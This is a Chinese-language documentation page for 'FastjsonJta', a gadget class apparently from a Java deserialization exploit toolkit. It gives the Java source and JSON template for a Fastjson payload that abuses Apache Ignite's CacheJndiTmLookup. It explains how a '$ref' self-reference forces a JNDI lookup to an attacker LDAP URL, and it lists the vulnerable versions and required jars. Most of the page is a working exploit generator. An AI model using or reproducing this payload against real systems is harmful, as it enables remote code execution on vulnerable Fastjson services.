- 类别:fastjson 别名:— 优先级:— (源码标注
@Deprecated) - 作者:—
- 依赖:
ignite-jta-2.16.0.jar、ignite-core-2.16.0.jar、jta-1.1.jar(需开启 autoType)、fastjson <= 1.2.67
生成一段 Fastjson JSON payload,利用 Apache Ignite 的 org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup——其 jndiNames 中的名称会在 getTm() 时被 InitialContext.lookup(),从而发起 JNDI 注入。这是 fastjson 1.2.68 附近针对 Ignite JTA 组件的 JNDI 打法。
- 入口
tags:FastjsonPayload、END—— 产物是交给 Fastjson 入口的 JSON 文本;END表示自身即最终 JNDI sink。 - 衔接
nextTags:无。 excludes:无。
@Deprecated
public class FastjsonJta implements Gadget {
@Param
public String jndiUrl = "ldap://localhost:1389/Exploit";
public static String template = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"%s\"], \"tm\": {\"$ref\":\"$.tm\"}}";
public Object getObject() {
return String.format(template, this.jndiUrl);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
}- 自包含 payload 生成器:
invoke直接调用无参getObject(),不消费内层(无chain.doCreate)。%s由jndiUrl填入。 CacheJndiTmLookup触发链:payload 把@type设为org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup,并给jndiNames数组注入攻击者 URL。fastjson 反序列化时通过 setter 设置jndiNames。"tm":{"$ref":"$.tm"}自引用触发 getter:$ref是 fastjson 的引用语法,$.tm指向本对象自身的tm属性。fastjson 在解析引用时会调用getTm()(getter)。CacheJndiTmLookup.getTm()内部会用new InitialContext().lookup(name)遍历jndiNames做 JNDI 查找,从而对jndiUrl发起 lookup,加载远程恶意对象/Factory 完成利用。这是「用$ref自引用强制触发 getter」的典型 fastjson 手法。- 依赖 Ignite JTA 组件与
jta-1.1.jar,且目标须开启 autoType 才能反序列化到CacheJndiTmLookup。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
jndiUrl | JNDI 查找地址(LDAP/RMI),写入 jndiNames |
ldap://localhost:1389/Exploit |
任意 JNDI URL |
- 适用
fastjson <= 1.2.67,且需开启 autoType。 - 目标 classpath 需存在 Apache Ignite JTA 相关 jar(
ignite-jta-2.16.0、ignite-core-2.16.0)与jta-1.1.jar。 - 本类已被源码标注
@Deprecated——适用面窄(依赖组件苛刻),实战中多被更通用的 JNDI 打法(如 FastjsonJdbcRowSetImpl)取代。 - 成功与否受目标 JDK JNDI 远程加载防护影响。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 同族 Fastjson JNDI 打法:FastjsonJdbcRowSetImpl(无依赖基线)。
- 同族 Fastjson END 构件:FastjsonGroovy、FastjsonMySQL1_2_80。
- 需字节码 sink 的对照:FastjsonH2Jdbc。